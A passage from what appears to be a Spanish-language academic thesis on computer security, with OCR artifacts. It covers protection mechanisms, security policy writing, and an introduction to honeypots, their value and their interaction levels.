zacion para ingresar en un ambiente de seguridad en cémputo, ya que reflejan la voluntad
de hacer algo que permita detener un posible ataque antes de que este suceda (proactividad).

Algunos de los mecanismos de proteccién son:

Sistemas de deteccién de intrusos(IDS)

Son sistemas que permiten analizar las bitdcoras de los sistemas en busca de patrones
de comportamiento o eventos que puedan considerarse sospechosos, en base a la informacién
con la que han sido previamente suministrados. Se pueden considerar como monitores.

Sistemas orientados a conexién de red

Monitorean las conexiones de red que intentan establecer con una red o un equipo en
particular, siendo capaces de efectuar una accién en base a métricas como: origen de la
conexion, destino de la conexion, servicio solicitado, ete. Las acciones que pueden emprender
suelen ir desde el rechazo de la conexién hasta alertar al administrador a través de correo
electronico o pager. En esta categoria estdn los firewalls y los wrappers.

Sistemas de analisis de vulnerabilidades

Analizan sistemas en busca de vulnerabilidades conocidas anticipadamente. La desventaja
de estos sistemas es que pueden ser utilizados tanto por personas autorizadas como por
personas que busquen acceso no autorizado al sistema.

Sistemas de proteccién a la privacidad de la informacién

Herramientas que utilizan criptografia para que la informacion sélo sea visible a quienes
tienen autorizacion de verla. Su aplicacién es principalmente en las comunicaciones entre dos
entidades.

Sistemas de proteccién a la integridad de informacién

Sistemas que mediante criptografia o sumas de verificacién tratan de asegurar que no ha
habido alteraciones indeseadas en la informacién que se intenta proteger.

1.12. Politicas y procedimientos de seguridad

Las politicas de seguridad son documentos que describen, principalmente, la forma
adecuada de uso de los recursos de un sistema de computo, las responsabilidades y derechos
que tanto usuarios como administradores tienen y lo qué se debe hacer ante un incidente de
seguridad.
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Mientras las politicas indican el qué, los procedimientos indican el cdémo. Los
procedimientos son los que permiten llevar a cabo las politicas. Algunos ejemplos que re-
quieren la creacion de procedimientos son:

» Otorgar una cuenta

= Dar de alta un usuario

= Conectar una computadora a la red
= Localizar una computadora

= Actualizar el sistema operativo

» Instalar software localmente o a través de la red
» Actualizar software critico

» Exportar sistemas de archivos

» Respaldar y restaurar informacion
= Manejar un incidente de seguridad
Para que esto sirva de algo, las politicas deben ser:
» Unicas

= Apoyadas por directivos

= Claras (explicitas)

= Concisas (breves)

= Bien estructuradas

= Servir de referencia

» Escritas

= Revisadas por abogados

= Dadas a conocer

= Entendidas por los usuarios

» Firmadas por los usuarios

= Mantenerse actualizadas
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Las politicas son parte fundamental de cualquier esquema de seguridad eficiente. Como
administrador de un sistema, se deben disminuir los riesgos, y se debe actuar de manera
rapida y acertada en caso de surgir una emergencia de seguridad en computo. Como usuario.
se debe de indicar la manera adecuada de utilizar el sistema, indicando lo que puede hacerse
v lo que debe evitarse en el sistema de computo, de esta manera se contribuye a no ser un
mal vecino de la red sin tener conocimiento de ello. Al contar con un esquema de politicas se
facilita grandemente la introduccién de nuevo personal, teniéndose ya una base escrita y clara
para capacitacion; se le da una imagen profesional a la organizacién y facilitan una auditoria.

Los principales puntos que deben de contener las politicas son:

= Ambito de aplicacion

Andlisis de riesgos

Enunciados de politicas

Sanciones

Seccién de uso ético de los recursos de computo

Seccién de procedimientos para el manejo de incidentes

Al disefiar un esquema de politicas de seguridad, conviene que se divida el trabajo en
varias politicas especificas diferentes a un campo: cuentas, contrasenas, control de acceso, uso
adecuado, respaldos, correo electréonico, contabilidad del sistema, seguridad fisica, personal,
ete.

= Politicas de cuentas: Establecen qué es una cuenta de usuario de un sistema de
computo, como esta conformada, a quién puede ser le otorgada, quién es el encargado
de asignarlas, como deben ser creadas y comunicadas.

e Las cuentas deben ser otorgadas exclusivamente a usuarios legitimos.

e Una cuenta deberd estar conformada por un nombre de usuario y su respectiva
contrasena.

e El nombre del usuario de una cuenta deberd estar conformado por la primera letra
de su nombre y su apellido (Este criterio dependera de la organizacion).

» Politicas de contrasenas: Son una de las politicas més importantes, ya que por lo
general, las contrasefias constituyen la primera y tal vez la inica manera de autentifi-
cacion y por tanto. la tunica linea de defensa contra ataques. Estas establecen quién
asignara la contrasena, qué longitud debe tener, a qué formato deberd apegarse, como
serd comunicada, etc.

e La longitud de una contrasena deberd siempre ser verificada de manera automatica
al ser constituida por el usuario. Todas las contrasenas deberdn contar con al
menos siete caracteres.
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e Todas las contrasefas elegidas por los usuarios deben ser dificiles de adivinar. No
deben ser utilizadas palabras que aparezcan en diccionarios, secuencias conocidas
de caracteres, datos personales ni acrénimos.

e Esta prohibido que los usuarios construyan contrasenas idénticas o muy parecidas
a contrasenas compuestas de algunos caracteres constantes y otros que cambien
de manera predecible y sean faciles de adivinar.

e Los usuarios no deben construir contrasenas idénticas o muy parecidas a con-
trasenas anteriores.

» Politicas de control de acceso: Especifican como deben los usuarios acceder al
sistema, desde dénde y de qué manera deben autentificarse.

e Todos los usuarios deberdan acceder al sistema utilizando algin programa que
permita una comunicacion segura y cifrada.

e Estd prohibido acceder al sistema con una cuenta diferente de la propia, atin con
la autorizacion del dueno de dicha cuenta.

e Si un usuario esta fuera del sitio de trabajo, debe conectarse a una maquina
ptblica del sitio y, inicamente desde ésta, hacer la conexién a la computadora
deseada.

e Al momento de ingresar al sistema, cada usuario debera ser notificado de la fecha,
hora y direccion desde la que se conect6 al sistema por ultima vez, lo cual permi-
tira detectar facilmente el uso no autorizado del sistema.

= Politicas de uso adecuado: Especifican lo que se considera un uso adecuado o
inadecuado del sistema por parte de los usuarios, asi como lo que estd permitido y lo
que esta prohibido dentro del sistema de cémputo.

Antes de disenar el esquema de politicas de uso adecuado, conviene hacer las siguientes
preguntas:

e ;Se permite irrumpir en cuentas ajenas ?
e ;Se permite adivinar contrasefias ?
e ;Se permite interrumpir el servicio 7

e ;Puede leerse un archivo ajeno cuyos permisos ante el sistema incluyen el de
lectura para todos 7

e ,Puede modificarse un archivo ajeno cuyos permisos ante el sistema incluyen de
escritura para todos 7

e ;Pueden los usuarios compartir sus cuentas 7
e ;Puede copiarse el software que no lo permita en su licencia?

o ;Puede obtenerse una licencia para hackear 7
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La respuesta a todas estas preguntas debe ser negativa.

Existen dos enfoques: permisivo (todo lo que no esté explicitamente prohibido esta per-
mitido) y paranoico (todo lo que no esté explicitamente permitido estd prohibido). Cudl
de estas elegir dependerd del tipo de organizacion y el nivel de seguridad que requiera.

Esta terminantemente prohibido ejecutar programas que intenten adivinar las
contrasenas alojadas en las tablas de usuarios de mdquinas locales o remotas.

La cuenta de un usuario es personal e intransferible, por lo cual no se permite que
el usuario comparta su cuenta ni su contrasena con persona alguna, ain si ésta
acredita la confianza del usuario.

Esta estrictamente prohibido hacer uso de programas que explotan alguna
vulnerabilidad de un sistema para proporcionar privilegios no otorgados explicita-
mente por el administrador.

No se permite bajo ninguna circunstancia el uso de cualquiera de las computadoras
con propositos de ocio o lucro personal.

s Politicas de respaldos: Especifican qué informacién debe respaldarse, con qué
periodicidad, qué medios de respaldo utilizar, como debera ser restaurada la informa-
cion, dénde deberan almacenarse los respaldos, etc.

El administrador del sistema es el responsable de realizar respaldos de la informa-
cién periddicamente. Cada treinta dias deberd efectuarse un respaldo completo
del sistema y cada dia deberdn ser respaldados todos los archivos que fueron
modificados o creados.

La informacién respaldada deberd ser almacenada en un lugar seguro y distante
del sitio de trabajo.

Debera mantenerse siempre una version reciente impresa de los archivos mas im-
portantes del sistema.

En el momento en que la informacién respaldada deje de ser util a la organizacion,
dicha informacién debera ser borrada antes de deshacerse del medio.

= Politicas de correo electronico: Establece tanto el uso adecuado como inadecuado
del servicio de correo electronico, los derechos y obligaciones que el usuario debe hacer
valer y cumplir al respecto.

e El usuario es la tinica persona autorizada para leer su propio correo, a menos que

¢l mismo autorice explicitamente a otra persona para hacerlo, salvo, que su cuenta
esté involucrada en un incidente de seguridad.

Estd estrictamente prohibido usar la cuenta de correo electrénico proporcionada
por la organizacién para propositos ajenos a sus actividades laborales.

No se permite el uso de la cuenta de correo electrénico para subscribirse a listas
electronicas de discusién de interés personal, el usuario debera limitarse a estar
subscrito a las listas indicadas y aprobadas por la organizacion.
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» Politicas de contabilidad del sistema: Establecen los lineamientos bajo los cuales
pueden ser monitoreadas las actividades de los usuarios del sistema de cémputo, asi co-
mo la manera en que debe manejarse la contabilidad del sistema y el propdsito de la
misma.

e Deberan ser registrados en bitdacoras todos los comandos emitidos por todos los
usuarios del sistema, para propésitos de contabilidad.

e Cada semana deberd hacerse el corte de contabilidad del sistema, cifrandose y
respaldandose la informacién generada en un dispositivo de almacenamiento per-
manente.

1.13. Conclusion

Es importante para cualquier organizacién tomar en cuenta la seguridad de sus
equipos si lo que se busca es mantener un funcionamiento adecuado de los mismos. Para
ellos deberan de considerarse la seguridad en cémputo como un aspecto de suma importancia.

Hoy en dia el interés en la sequridad en computo se ha incrementado en gran medida, esto
debido a los tltimos eventos suscitados, como fue el caso de los gusanos sobig vy blaster, con
esto muchas personas que no habran tenido nunca un acercamiento con mecanismos de pro-
teccién como antivirus se vieron en la necesidad de recurrir a estos para corregir sus equipos
de computo. Con estos eventos se mostré lo vulnerable que es el ambiente de cdmputo si no se
tiene cierto seguimiento de las ultimas vulnerabilidades. Dentro de muchas organizaciones el
area de sequridad en computo es ya una necesidad, y el interés continuara creciendo mientras
las amenazas contintien presentes.
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Capitulo 2

Tecnologias Honeypot y Honeynet

En el presente capitulo se responderdn preguntas como: ;Qué son los honeypots y
las honeynets 7 ;Cémo pueden ayudar a una organizacion a mejorar sus mecanismos de
seguridad 7, y se analizaran varias soluciones honeypot. Hay una variedad de conceptos
acerca de lo que es un honeypot, cémo trabaja y cémo agrega valor a una organizacién. Ain
cuando los honeypots son buenas herramientas para una organizacion, el tiempo y recursos
involucrados pueden ser necesarios para otros proyectos.

2.1. Honeypots

Los honeypots son una interesante tecnologia con enorme potencial dentro de la comu-
nidad de seguridad. Desde hace algunos anos se ha incrementado el interés por los honeypots
y la tecnologia relacionada con ellos. Los honeypots no son una nueva tecnologia, fueron
explicados anteriormente en un par de documentos de seguridad en computo, por ejemplo:
CUff Stoll en su libro Cuckoo’s Egg' describe cémo implementé una especie de honeypot
para lograr capturar un intruso y en el documento An Evening with Berferd® de Steve
Bellovin y Bill Cheswick en el cual describen la manera en la que por varios meses
siguieron los movimientos de un intruso utilizando tecnologias honeypot. Desde entonces
los honeypots han continuado su desarrollo, actualmente se encuentran dentro de poderosas
herramientas de seguridad. [3]

2.1.1. Definiciéon de Honeypot

A diferencia de los Firewalls o Sistemas de Deteccion de Intrusos, los honeypots no
resuelven un problema en especifico. Sin embargo, estos son una herramienta muy flexible
que viene en muchas formas y tamanos. Pueden hacer cualquier cosa desde detectar

"Para mayor informacion sobre el libro Cuckoo’s Eqgq consultar:
hitp:/ /www.amazon.com/exec/obidos/ASIN /0671726889 /badelnet /002-5975347-3113639

‘Para  mayor informacién sobre el documento An  Evening with Berferd consultar:
hitp://www.all.net /books/berferd /berferd. html
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ataques cifrados en redes IPv6 hasta capturar el mas avanzado y sofisticado fraude a sitios
e-commerce. Esta flexibilidad proporciona a los honeypots un poder real.

Un honeypot es un recurso de computo disenado para capturar todo el trafico y
actividad que es dirigida al sistema. Este cuenta servicios de red comunes en conjuncion con
mecanismos de captura de trafico de red. Casi todos son disenados para registrar a intrusos.
Los honeypots son diferentes de los sistemas regulares de una red, ya que estos cuentan con
mecanismos de registro y control de servicios. El objetivo es que los honeypots aparenten ser
sistemas normales de produccién, los cuales aparentemente se encuentran proporcionando
algin servicio. Pero en realidad pueden ser simples sistemas emulando a una cantidad de
sistemas y vulnerabilidades.

Un honeypot adquiere valor una vez que ha sido atacado o comprometido. Es muy
importante recalcar que los honeypots no son una solucién. Los honeypots no arreglan nada.
Los honeypots son una herramienta. El uso de esta herramienta dependerd de lo que se
quiera registrar.

Los honeypots se clasifican dentro de dos grandes categorias, asi definidas por el
creador de Snort*: Marty Roesch, quien clasificé dos tipos de honeypots: produccion e
investigacion. El propdsito de un honeypot de produccion es ayudar a reducir los riesgos de
una organizacion. El honeypot agrega valor a las medidas de seguridad de una organizacién.
Generalmente tienen poca funcionalidad y son faciles de utilizar, pero cominmente capturan
poca informacion. La segunda categoria es honeypot de investigacion, agrupa a los honeypots
disenados para obtener informacion acerca de los intrusos. Estos honeypots no ayudan
directamente a mejorar la seguridad de alguna organizacién. En lugar de esto, son utilizados
para la investigacion de amenazas en la organizacion y de las medidas que permitan a
las organizaciones protegerse mejor de estas amenazas. A continuacién se describird cémo
pueden los honeypot agregar cierto valor a las organizaciones.

2.1.2. Valor del Honeypot

Los honeypots tienen ciertas ventajas y desventajas, al igual que las herramientas de
sequridad en computo. Son estas ventajas las que ayudan a definir el valor del honeypot.
Lo interesante de un honeypot estd en la simplicidad. Este es un dispositivo diseiado para
ser comprometido, no proporciona servicios de produccién. Esto significa que casi no hay
trafico de produccion entrando o saliendo del dispositivo. Si en cualquier momento una
conexion se inicia hacia el honeypot, esto significard que probablemente se trate de una
prueba, escaneo, o es un ataque. Si en cualquier momento una conexién se inicia desde el
honeypot esto significard que el sistema ha sido comprometido exitosamente. Como todo el
trafico de produccion esta fuera del honeypot, todo el trifico es sospechoso por naturaleza. [3]

3Snort es un software que permite examinar el trifico de red en busca de firmas de posibles ataques, para
mayor informacién consultar: http://www.snort.org.
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No estan limitados a un propésito especifico. El valor y problemas que ayuden a resolver
dependerd de como se implemente y utilice.

Por esta simplicidad, los honeypots tienen ciertas ventajas y desventajas inherentes; a
continuacion se analizaran algunas de estas.

= Ventajas

Los honeypots son un simple concepto, esto les proporciona algunas caracteristicas
poderosas.

e [nformacion

Los honeypots coleccionan gran cantidad de informacién, normalmente de alto
valor. Este corte de informaciéon hace que los falsos positivos disminuyan, hace
mucho mas facil la recoleccion de informacién y almacenamiento de datos. Uno
de los grandes problemas de los profesionales de seguridad en eémputo consiste
en buscar a través de giga bytes de informacién para encontrar el dato necesario.
Los honeypots pueden dar la informacion exacta que se necesita de manera rapida
y facil, en un formato comprensible. Esta informacién también es normalmente
de alto valor, no solamente se puede ver la actividad de la red, ademas de
esto se podra conocer qué es lo qué el infruso hace una vez que ha ingresado
en el sistema. Esto significa que es mucho mas facil analizar los datos del honeypot.

e Recursos

Muchas herramientas de seguridad en computo pueden ser superadas por el
ancho de banda o actividad de la red. Los Dispositivos de Deteccion de Intrusos
de Red (Network Intrusion Detection Devices) tal vez no sean capaces de
mantener un monitoreo de toda la actividad de la red, esto puede provocar
ataques potenciales o disminucion de paquetes registrados. Los servidores de
registro centralizados tal vez no sean capaces de coleccionar todos los eventos
del sistema, con ello disminuirdan potencialmente algunos eventos. Los honeypots
no tienen este problema, tunicamente capturan todo el trafico que reciben,
por lo cual no pueden ser superados por el ancho de banda, ni por la activi-
dad de la red, ya que pueden coleccionar todos los eventos del sistema. Son
faciles de implementar en ambientes donde se encuentre una alta actividad de red.

e Recursos Minimos.

Para implementar uno honeypot solo es necesario un equipo, colocarlo en una red
y capturar todo el tréfico dirigido a el.

e Nuewvas herramientas y tacticas.

Los honeypots son implementados para captura cualquier cosa que se dirija a
estos, incluyendo herramientas nunca vistas con anterioridad.
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o Simplicidad
Conceptualmente los honeypots son extremadamente sencillos, estdn basados
en conceptos simples, esto ayuda a reducir la complejidad y al mismo tiempo
reduce el riesgo. Muchos mecanismos de seguridad en cémputo son complejos y
por lo tanto son dificiles de entender y mantener. No se tienen que desarrollar
algoritmos, mantener tablas de estado, o actualizar firmas, los honeypots reducen
errores de configuracion.

= Desventajas

Al igual que cualquier otra tecnologia, los honeypots también tienen sus debilidades.
Esta es la razén por la cual no reemplazan ninguna tecnologia actual, pero trabajan
con estas tecnologias.

e Campo de vision limitado
Los honeypots cuentan con una gran desventaja: unicamente registraran la

actividad de red que sea enviada a ellos. Los honeypots careceran de cualquier
prueba, escaneo o ataque que no sea enviado directamente a estos.

e [dentificacion pasiva
Los intrusos pueden identificar los honeypots para sus propositos, ademas pueden
evitar estos sistemas, o peor aun, introducir datos falsos.

e Valor

Los honeypots presentan una gran desventaja: no tienen ningun valor si no
son atacados. Pueden llevar a cabo cosas interesantes, pero si ningin intruso
envia algun paquete al honeypot, el honeypot carecera de cualquier actividad no
autorizada y por lo tanto no tendra ninguna utilidad.

e Riesgo

Los honeypots pueden introducir riesgos al ambiente. Al igual que los Firewalls
pueden ser penetrados, el cifrado corre el riesgo de ser roto, los IDS pueden
fallar a detectar ataques. Los Honeypots no son diferentes, estos también tienen
riesgos. Como se discutird en la seccion 2.1.5; el nivel de interaccion de los
honeypots es distinto, por lo cual los honeypots tienen diferentes niveles de
riesgo. Algunos introducen un riesgo muy pequeno, mientras otros proporcionan
al wntruso plataformas enteras con las cuales pueda planear nuevos ataques. El
riesgo es variable, dependiendo de como se construya y desarrolle el honeypot.

Es por estas desventajas por las cuales los honeypots no remplazan a otros mecanismos
de seguridad. Los honeypots pueden unicamente agregar valor para el trabajo con existencia
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de estos mecanismos de seguridad.

Ahora que ya se ha discutido el valor que tiene el honeypot se explicard cémo este valor
puede ser agregado a las tres dreas que cubre la seguridad en cémputo y que fueron descritas
en el capitulo anterior*: prevencién, deteccién y reaccién.

Prevencion

Los honeypots agregan un pequeno valor a la prevencién, no van a mantener a los
intrusos fuera. Para que se mantenga a los intrusos fuera se requieren mejores practicas,
tales como: deshabilitar servicios no necesarios o inseguros, actualizando y corrigiendo
aquello que lo requiera y utilizando fuertes mecanismos de autenticacion. Estas son las
mejores practicas y procedimientos con los cuales se puede mantener fuera a los intrusos.
Un honeypot es un sistema que sera comprometido. Una implementacion incorrecta en el
honeypot puede hacer facil para un intruso el ingreso y por consiguiente una propagacion
de ataques.

Algunos individuos han discutido el valor de engafio (deception)® como un método para
detectar intrusos. El concepto consiste en tener a los intrusos gastando su tiempo y recursos
atacando honeypots, esto seria lo opuesto a atacar sistemas de produccion, que si afectarian
a una organizacion. Cuando el intruso ingresa al honeypot se protege a los recursos de
produccion de la organizacién de un ataque. Para muchas organizaciones es mejor gastar
su limitado tiempo y recursos en la seguridad de sus sistemas, en vez de invertirlo en el
engano. El engano puede contribuir a la prevencién, pero se obtendran mejores resultados
colocando simultaneamente mejores practicas de seguridad en cémputo.

También el engano falla en contra de dos de los ataques mas comunes hoy en dia: kits de
herramientas y gusanos automatizados. Actualmente mas y mas ataques son automatizados.
Estas herramientas automatizadas probaran, atacaran y explotaran cualquier cosa que se en-
cuentre vulnerable. Estas herramientas atacaran a un honeypot, pero estas también atacaran
rapidamente a todos los demas sistemas en la organizacion. El engano no prevendra de estos
ataques. Asi es como los honeypots agregan un pequeno valor a la prevencion. Las organi-
zaciones serdn mejores al enfocar sus recursos en mejores préacticas de seguridad en cémputo.

Deteccion

Cuando los honeypots agregan valor a la prevencion, también agregan un gran valor a
la deteccion. Para muchas organizaciones, es extremadamente dificil detectar ataques a sus
sistemas de cémputo. A menudo las organizaciones son sobresaturadas por la actividad de
produccién, lo cual equivale a gige bytes de datos del sistema de bitdcoras. Esto hace que
sea extremadamente dificil detectar cudndo un sistema es atacado, o cuando un sistema ha

1Seccion 1.3
SConsiste en engafar a los intruses., es decir se colocan servicios que no existen, sistemas operativos
ficticios y aplicaciones emuladas
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sido comprometido. Los Sistemas Detectores de Intrusos (IDS)® son unas de las soluciones
disenadas para detectar estos ataques. Sin embargo, los administradores de los Sistemas
Detectores de Intrusos pueden ser saturados con falsos positivos. Los falsos positivos son
alertas que son generadas cuando un sensor reconoce una firma configurada como un
ataque, pero en realidad solo fue tréfico vélido. El problema aqui es que el administrador
puede recibir muchas alertas diariamente, el administrador no podrd responder a todas
ellas. También, los Sistemas Detectores de Intrusos a menudo se pueden condicionar a
ignorar este tipo de alertas falso positivos, ya que llegan a diario. Muchos de los sensores
de los Sistemas Detectores de Intrusos dependen de las alertas para que los ataques sean
fallidos, a no ser que estos falsos positivos sean reducidos. Esto no significa que los honeypots
nunca tendran falsos positivos, solamente tendran pocos comparados con la mayoria de las
implementaciones Sistemas Detectores de Intrusos. [3]

Otro riesgo son los falsos negativos, que suceden cuando un Sistema Detector de Intrusos
falla al detectar un ataque véalido. Muchos de los Sistemas Detectores de Intrusos, estan
basados en una firma, verificaciéon de protocolo, etc. Los Sistemas Detectores de Intrusos
pueden ser potencialmente susceptibles a ataques nuevos o desconocidos. Asi es como un
nuevo ataque no serd detectado por las metodologias de los Sistemas Detectores de Intrusos.
También, nuevos métodos de evasion de Sistemas Detectores de Intrusos son constantemente
desarrollados y distribuidos por los intruses. Esto hace posible que un ataque conocido tal
vez no sea detectado. Los honeypots direccionan los falsos negativos, esto hace que no sea
facil de evadir o enganar por nuevos ezploits. De hecho uno de sus primeros beneficios que
pueden detectar es cuando un sistema ha sido comprometido por medio de un ataque nuevo
o desconocido, a través de la actividad del sistema, mas no con firmas. Los administradores
no tienen porque preocuparse por la actualizacion de la base de datos de firmas o corregir
anomalias en el motor de deteccién. Los honeypots capturan cualquier ataque a través de
sus medios. Como se discutié anteriormente, un honeypot adquiere valor si es atacado.

Los honeypots pueden simplificar los procesos de deteccién. Ya que los honeypots no
tienen actividad de produccion, todas las conexiones de y hacia el honeypot son sospechosas
por naturaleza. Por definicién, cualquier conexién que se realiza a los honeypots, significa
que se trata de una prueba, escaneo, o ataque. Si en cualquier momento el honeypot inicia
una conexion, esto significard que el sistema ha sido exitosamente comprometido. Esto ayuda
a reducir grandemente los falso positivos y los falso negativos, simplificando el proceso de
deteccién. Esto no significa que los honeypots puedan reemplazar a los Sistemas Detectores
de Intrusos o solamente ser un método de deteccién. Sin embargo, pueden ser una poderosa
herramienta para complementar las habilidades de deteccion.

Reaccion

Atin cuando no es comin considerarlo, los honeypots también agregan valor a la reaccién,
a menudo cuando un sistema dentro de una organizacién es comprometido, hay mucha
actividad de produccién después de que los datos son contaminados por la actividad del

5Los Sistemas Detectores de Intrusos (IDS ) son descritos brevemente en el capitulo / seccidn 2

Andlisis de Amenazas de Seguridad en Cémputo



2.1 Honeypots 51

sistema. El equipo de respuesta a incidentes no puede determinar que ha ocurrido, cuando
los usuarios y los sistemas han contaminado la coleccién de datos. Por ejemplo, a menudo
cuando se brinda atencién en diversos sitios en respuesta a incidentes de seguridad en
computo, se asiste unicamente para descubrir que cientos de usuarios han continuado
utilizando el sistema comprometido. La evidencia es mucho més dificil de obtener en dichos
ambientes. [3]

El segundo desafio después de un incidente es la posicion de muchas organizaciones,
ya que frecuentemente los sistemas comprometidos no son puestos fuera de servicio.
Los servicios de produccién que proporcionan no pueden ser eliminados. Por lo que, un
equipo de respuesta a incidentes no podré conducir un andlisis forense completo y apropiado.

Los honeypots pueden agregar valor al reducir o eliminar ambos problemas. Los
honeypots con frecuencia son un sistema con contaminacién de datos reducida y un sistema
que puede ser puesto fuera de servicio. Por ejemplo, se podria decir que una organizacién
tiene 3 servidores de web, los cuales fueron comprometidos por un intruso. Sin embargo, la
gerencia Unicamente permitird ingresar y eliminar los huecos especificos. Por lo cual, nunca
se podra entender en detalle qué fall6, qué dano fue realizado. Es aqui donde el intruso ha
dejado su acceso interno (puerta trasera), y si se realizé un buen trabajo se ha eliminado.

Sin embargo, si uno de estos 3 sistemas fuera un honeypot, se podria poner el sistema
fuera de servicio. Basado en el andlisis forense, se podria no solamente entender cémo el
intruso logré ingresar y qué fue lo que el hizo una vez que estuvo dentro. Estas lecciones
aprendidas pueden ser aplicadas y permanecer en los servidores, permitiendo una mejor
identificacion y recuperacion del ataque.

Como se discutié al principio del presente capitulo, se tienen dos categorias de honeypot:
produccion e investigacion. Ahora se discutird como estos honeypots pueden agregar valor a
una organizacion.

2.1.3. Honeypots de Investigacion

Uno de los grandes retos de la comunidad de seguridad en cémputo es la carencia de
informacién sobre el enemigo. Preguntas como: ;Quién nos amenaza 7, jPor qué atacan
7, (Cémo atacan 7, ;Cuales son sus herramientas 7, y posiblemente ;Cuando atacaran 7,
para las cuales la comunidad de seguridad en céomputo a menudo no tiene respuestas. Por
siglos, organizaciones militares se han enfocado a obtener informacién para comprender y
protegerse en contra del enemigo. Para defenderse en contra de una amenaza se tiene que
conocer primero acerca de esta. Sin embargo, en el mundo de la seguridad en cémputo se
tiene muy poca de esta informacion.

Los honeypots pueden agregar valor a la investigacion, ya que pueden proporcionar
una plataforma de estudio de las amenazas. La mejor manera de aprender acerca de los
intrusos es observarlos en accién para registrar paso a paso como un sistema es atacado y
comprometido. Tiene mas valor observar que hacen después de que comprometen un sistema,
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cémo se comunican con otros intrusos o céomo actualizan un nuevo kit de herramientas.
Este es el potencial de la investigacién, que es una de las Unicas caracteristicas de los
honeypots. También, la investigacién del honeypot es una herramienta para capturar ataques
automatizados como son los gusanos. Cuando estos ataques consigan ingresar a grandes
segmentos de red, los honeypots de investigacion pueden rapidamente capturar estos ataques
para su andlisis.

En general, la investigacién no reduce el riesgo en una organizacion. Las lecciones apren-
didas de la investigacion del honeypot pueden aplicarse, ast se podria mejorar la prevencion,
deteccién o reaccién. Sin embargo, la investigacion del honeypot contribuye en el manejo de
la seguridad de una organizacion.

2.1.4. Honeypots de Produccion

Para las organizaciones que no tengan dentro de sus expectativas la investigacion
de amenazas de seguridad y que deseen utilizar honeypots, pueden utilizar honeypots de
produccion, estos serdan implementados en los sistemas de produccion con la finalidad
de prevenir ataques a los servicios de produccién, detectar posibles ataques y reaccionar
a ellos. Muchos de estos honeypots simplemente emulan algunos servicios dentro de un
sistema de produccion, de esta manera un intruso no conoce con certeza cuales son servicios
de produccién vélidos y cuales no. Algunos otros pueden emular cientos de sistemas y
vulnerabilidades, dificultando cada vez mas la tarea de los intrusos. Pero esto es un riesgo,
ya que los intrusos pueden acertar a un servicio real e ingresar a un sistema de produccion,
que en caso de ser dafiado o alterado afectard el ambiente de la organizacién, ademés la
investigacién de amenazas no se puede realizar por la actividad de produccién del sistema.
En general la principal funcién del honeypot de produccion serd la prevencién de ataques
a servicios reales, la detecciéon de ataques a los servicios emulados y en algunos casos
reaccionara ante los ataques a los servicios.

Si una organizacién quiere mejorar la seguridad de sus ambientes de produccién po-
drian considerar a los honeypots de produccion como una buena opcién que seria facil de
mantener e implementar. Si alguna organizacién como Universidades, Gobiernos o grandes
sociedades corporativas que estuvieran interesadas en aprender mas acerca de las amenazas,
es en ese momento cuando la investigacién del honeypot se aplicarfa. El Proyecto Honeynet”
es un ejemplo de una organizacion, utilizando la investigacién de los honeypots para capturar
informacion acerca de los intrusos.

"El proyecto Honeynet se dedica a la investigacion de Honeypots, para mayor informacién consultar:
http://www.honeynet.org
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Nivel de Trabajo para | Trabajo para | Informacién | Nivel de
Interaccion | Instalar y Desarrollar y | Obtenida Riesgo

Configurar Mantener
Bajo Facil Facil Limitado Bajo
Medio Involucrado Involucrado Intermedio Medio
Alto Dificil Dificil Extensivo Alto
Cuadro 2.1: Nivel de Interaccion de Honeypots
4 Sistema Operativa
@
@ = ——h\
‘ RIPTdw ‘
Figura 2.1: Esquema Honeypot de baja interaccion
2.1.5. Nivel de Interaccion de los Honeypots

Ya se ha discutido los diferentes tipos de honeypots asi como su aportacion a las dreas
de seguridad en computo. Pero existe un punto muy importante que no se ha discutido ain
v que es de suma importancia, este es el nivel de interaccién de los honeypots. El nivel de
interaccién es un concepto creado para comprender mejor las habilidades de los diferentes
honeypots. Es como se mide la funcionalidad que un honeypot proporciona a un intruso.
Cuando un intruso interactiia con un honeypot, se tienen diferentes niveles de funcionalidad
que el honeypot podra proveer. Algunos honeypots pueden proveer unicamente un conjunto
de servicios emulados, mientras otros linicamente proporcionan aplicaciones completas con
un sistema operativo completo para que el intruso pueda tener acceso a el. Es por esta razon
por la cual no hay dos honeypots iguales, ya que todos manejan un nivel de interaccion
distinto. Como se muestra en el cuadro 2.1, se pueden tener tres niveles de interaccion
distintos: Bajo, Medio y Alto. [4]

El nivel de interaccién dependerd de lo que se quiera registrar. Los diferentes niveles de
interaccion tienen diferentes ventajas y desventajas. Eso puede ser critico al decidir que tipo
de honeypot se desea y como se desarrollard este.

Como se muestra en la figura 2.1 una baja interaccién con el honeypot reduce el riesgo
al minimo. Reduciendo la interaccion del intruso, deberd ser facil de instalar, configurar,
administrar y serd sencillo emular algunos servicios comunes.
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Sistema Operativo

- - -

Figura 2.2: Esquema Honeypot de mediana interaccion

Los intrusos podran examinar y potencialmente conectarse a varios puertos. La infor-
macién es limitada ( principalmente, ;quién se conecta 7, ja qué puertos y cudndo 7 ), sin
embargo, es poco lo que un intruse puede explotar ya que la interaccion con el honeypot es
casi nula.

Entre mayor sea la funcionalidad de un honeypot, seran maés las actividades que un
intruso podra realizar y mds informacién podra ser obtenida de esto. Sin embargo, para
que esto ocurra, un intruso debera realizar mayor actividad con el honeypot y mayor sera el
dano potencial que un intruso podra realizar. Por ejemplo, en el la figura 2.2 se observa
que en un honeypot de mediana interaccion el cual interactia con el intruse al minimo, y
se envian respuestas a sus peticiones, estas respuestas pueden ser respuestas automaticas
comunes.

En el otro extremo, se podra tener una alta interaccion con los honeypots como se
muestra en la figura 2.3 aqui se tiene gran riesgo, ya que el intruso puede comprometer
el sistema y utilizar todos sus recursos, los cuales pueden ser sistemas actuales con gran
poder de computo. Se podrd aprender mucho mas si es un sistema operativo actual, con el
propésito de que el intruso lo comprometa e interactiie, sin embargo, esto también incluye
un alto nivel de riesgo, ya que el intruso tiene un sistema operativo actual para trabajar,
ademas puede interactuar con todos los recursos del sistema comprometido.

Ninguna de estas soluciones es un mejor honeypot. Todo esto dependerd de lo que
se intente registrar. Se debe recordar que los honeypots no son una solucién. Son una
herramienta. Su valor dependera de cudles sean los objetivos en la investigacién para una
alerta y detecciéon temprana.
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Figura 2.3: Esquema Honeypot de alta interaccion

2.1.6. Soluciones Honeypot

Basados en un nivel de interaccion se van a comparar algunas de las posibles solu-
ciones honeypot. Se discutirdn algunos tipos de honeypots comerciales y libres. Hay una
gran variedad de otras posibilidades de honeypot, sin embargo, esta selecciéon cubre un rango
de opciones. Se abordaran los siguientes:

» BackOfficer Friendly : Honeypot libre de baja interaccién, basado en Windows. Buena
solucion si se es nuevo en tecnologias honeypot.
